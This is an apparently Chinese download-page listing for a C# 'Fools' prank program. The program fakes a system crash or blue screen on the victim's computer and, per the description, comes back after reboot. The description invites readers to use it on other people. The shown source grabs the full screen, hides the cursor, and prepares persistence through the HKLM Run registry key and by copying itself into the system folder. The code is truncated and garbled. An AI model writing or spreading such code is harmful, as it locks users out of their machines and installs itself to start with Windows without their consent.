資源簡介
這是一個模仿藍屏的代碼,運行后電腦藍屏,就算重啟也會出現,有需要的看看,可以拿來惡搞別人啊,相關代碼都在里面,可以自己修改。

代碼片段和文件信息
using?System;
using?System.Collections.Generic;
using?System.ComponentModel;
using?System.Data;
using?System.Drawing;
using?System.Text;
using?System.Windows.Forms;
using?System.Runtime.InteropServices;
using?System.Diagnostics;
using?System.IO;
using?Microsoft.Win32;
using?System.Collections;
namespace?Fools
{
????///?
????///?本程序有速特網制作:http://www.sooot.cn
????///?由于時間倉促,未對代碼進行優化,大家將就看吧。
????///?歡迎到本站論壇一起學習討論:http://bbs.sooot.cn
????///?調試前請注意:本程序模仿死機和藍屏。可在3秒內點擊鼠標以解鎖。
????///?鼠標碼:11211233312??(“1”為鼠標左鍵,“2”為鼠標右鍵,“3”為鼠標中鍵)
????///?
????public?partial?class?frmBlue?:?Form
????{
????????#region?field
????????StringBuilder?strBuilder?=?new?StringBuilder();
????????Random?random?=?new?Random();
????????private?static?int?randomInt?=?0;
????????private?bool?firstFlg?=?true;
????????private?DateTime?time;
????????private?Queue?queue?=?new?Queue();
????????string?strs?=?“11211233312“;
????????Hotkey?hotkey?=?new?Hotkey();
????????private?RegistryKey?STARTKEY?=?Registry.LocalMachine;
????????private?const?string?REGKEY?=?@“SoftWare\MicroSoft\Windows\CurrentVersion\Run“;
????????[DllImportAttribute(“gdi32.dll“)]
????????private?static?extern?IntPtr?CreateDC(
????????string?lpszDriver?//?驅動名稱?
????????string?lpszDevice?//?設備名稱?
????????string?lpszOutput?//?無用,可以設定位“NULL“?
????????IntPtr?lpInitData?//?任意的打印機數據?
????????);
????????[DllImportAttribute(“gdi32.dll“)]
????????private?static?extern?bool?BitBlt(
????????IntPtr?hdcDest?//目標設備的句柄?
????????int?nXDest?//?目標對象的左上角的X坐標?
????????int?nYDest?//?目標對象的左上角的X坐標?
????????int?nWidth?//?目標對象的矩形的寬度?
????????int?nHeight?//?目標對象的矩形的長度?
????????IntPtr?hdcSrc?//?源設備的句柄?
????????int?nXSrc?//?源對象的左上角的X坐標?
????????int?nYSrc?//?源對象的左上角的X坐標?
????????System.Int32?dwRop?//?光柵的操作值?
????????);
????????#endregion
????????public?frmBlue()
????????{
????????????InitializeComponent();
????????}
????????private?void?frmBlue_Load(object?sender?EventArgs?e)
????????{
????????????try
????????????{
????????????????randomInt?=?random.Next();
????????????????initQueue();
????????????????if?(randomInt?%?2?==?1)
????????????????{
????????????????????BuildImage();
????????????????}
????????????????else
????????????????{
????????????????????SetErrorMessage();
????????????????????this.BackColor?=?Color.DarkBlue;
????????????????}
????????????????this.WindowState?=?FormWindowState.Maximized;
????????????????this.ShowInTaskbar?=?false;
????????????????this.TopMost?=?true;
????????????????Cursor.Hide();
????????????????this.Focus();
????????????????string?copyPath?=?Environment.GetFolderPath(Environment.SpecialFolder.System)?+
????????????????????Application.ExecutablePath.Substring(
????????????????????Application.ExecutablePath.LastIndexOf(@“\“)
????????????????????Application.ExecutablePath.Length?-?Application.ExecutablePath.LastIndexOf(@“\“));
????????????????if?(!File.Exists(copyPath))
??????????
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????43008??2009-03-26?23:13??Fools\bin\Debug\Fools.exe
?????文件??????30208??2009-03-26?23:13??Fools\bin\Debug\Fools.pdb
?????文件???????3822??2009-03-26?23:11??Fools\Fools.csproj
?????文件????????899??2009-03-26?23:10??Fools\Fools.sln
????..A..H.?????15872??2011-06-11?23:24??Fools\Fools.suo
?????文件??????11106??2009-03-26?23:10??Fools\frmBlue.cs
?????文件???????2677??2009-03-26?23:06??Fools\frmBlue.Designer.cs
?????文件???????6008??2008-12-31?19:12??Fools\frmBlue.resx
?????文件???????2742??2009-03-26?23:06??Fools\HotKey.cs
?????文件???????1065??2009-03-26?23:13??Fools\obj\Debug\Fools.csproj.FileListAbsolute.txt
?????文件????????849??2009-03-26?23:13??Fools\obj\Debug\Fools.csproj.GenerateResource.Cache
?????文件??????43008??2009-03-26?23:13??Fools\obj\Debug\Fools.exe
?????文件????????180??2009-03-26?23:13??Fools\obj\Debug\Fools.frmBlue.resources
?????文件??????30208??2009-03-26?23:13??Fools\obj\Debug\Fools.pdb
?????文件????????180??2009-03-26?23:13??Fools\obj\Debug\Fools.Properties.Resources.resources
?????文件???????4608??2009-03-26?23:11??Fools\obj\Debug\TempPE\Properties.Resources.Designer.cs.dll
?????文件????????844??2009-01-05?09:41??Fools\obj\Debug\VS.csproj.GenerateResource.Cache
?????文件????????235??2009-01-05?09:41??Fools\obj\VS.csproj.FileList.txt
?????文件????????857??2009-03-26?23:06??Fools\Program.cs
?????文件???????1494??2009-03-26?23:13??Fools\Properties\AssemblyInfo.cs
?????文件???????2834??2009-03-26?23:11??Fools\Properties\Resources.Designer.cs
?????文件???????5350??2008-12-01?14:39??Fools\Properties\Resources.resx
?????文件???????1103??2009-03-26?23:11??Fools\Properties\Settings.Designer.cs
?????文件????????249??2008-12-01?14:39??Fools\Properties\Settings.settings
?????文件??????25214??2009-01-04?14:00??Fools\setup.ico
?????目錄??????????0??2008-12-31?16:09??Fools\obj\Debug\Refactor
?????目錄??????????0??2009-03-26?23:11??Fools\obj\Debug\TempPE
?????目錄??????????0??2009-03-26?23:13??Fools\bin\Debug
?????目錄??????????0??2009-03-26?23:13??Fools\obj\Debug
?????目錄??????????0??2009-03-26?23:11??Fools\bin
............此處省略7個文件信息
- 上一篇:Sbus.rar
- 下一篇:嚴題集算法設計答案匯總
評論
共有 條評論